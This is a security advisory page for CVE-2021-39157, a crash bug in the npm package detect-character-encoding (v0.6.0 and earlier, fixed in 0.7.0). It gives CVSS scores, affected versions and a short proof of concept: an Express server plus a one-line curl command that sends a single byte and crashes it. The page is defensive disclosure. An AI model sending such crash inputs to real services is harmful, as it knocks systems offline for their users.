Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpxZmgtOGh3NS1mcWpy

Improper Handling of Exceptional Conditions in detect-character-encoding

Impact

In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.

Patches

The problem has been patched in detect-character-encoding v0.7.0.

CVSS score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C

Base Score: 7.5 (High)
Temporal Score: 7.2 (High)

Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.

Proof of concept

const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");

const app = express();

app.use(bodyParser.raw());

app.post("/", (req, res) => {
  const charsetMatch = detectCharacterEncoding(req.body);

  res.end(charsetMatch.encoding);
});

app.listen(3000);

printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.

Permalink: https://github.com/advisories/GHSA-jqfh-8hw5-fqjr
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpxZmgtOGh3NS1mcWpy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: over 1 year ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-jqfh-8hw5-fqjr, CVE-2021-39157
References: Repository: https://github.com/sonicdoe/detect-character-encoding
Blast Radius: 14.0

Affected Packages

npm:detect-character-encoding
Dependent packages: 35
Dependent repositories: 73
Downloads: 14,125 last month
Affected Version Ranges: < 0.7.0
Fixed in: 0.7.0
All affected versions: 0.1.0, 0.2.0, 0.2.1, 0.3.0, 0.3.1, 0.4.0, 0.5.0, 0.5.1, 0.6.0
All unaffected versions: 0.7.0, 0.8.0, 0.9.0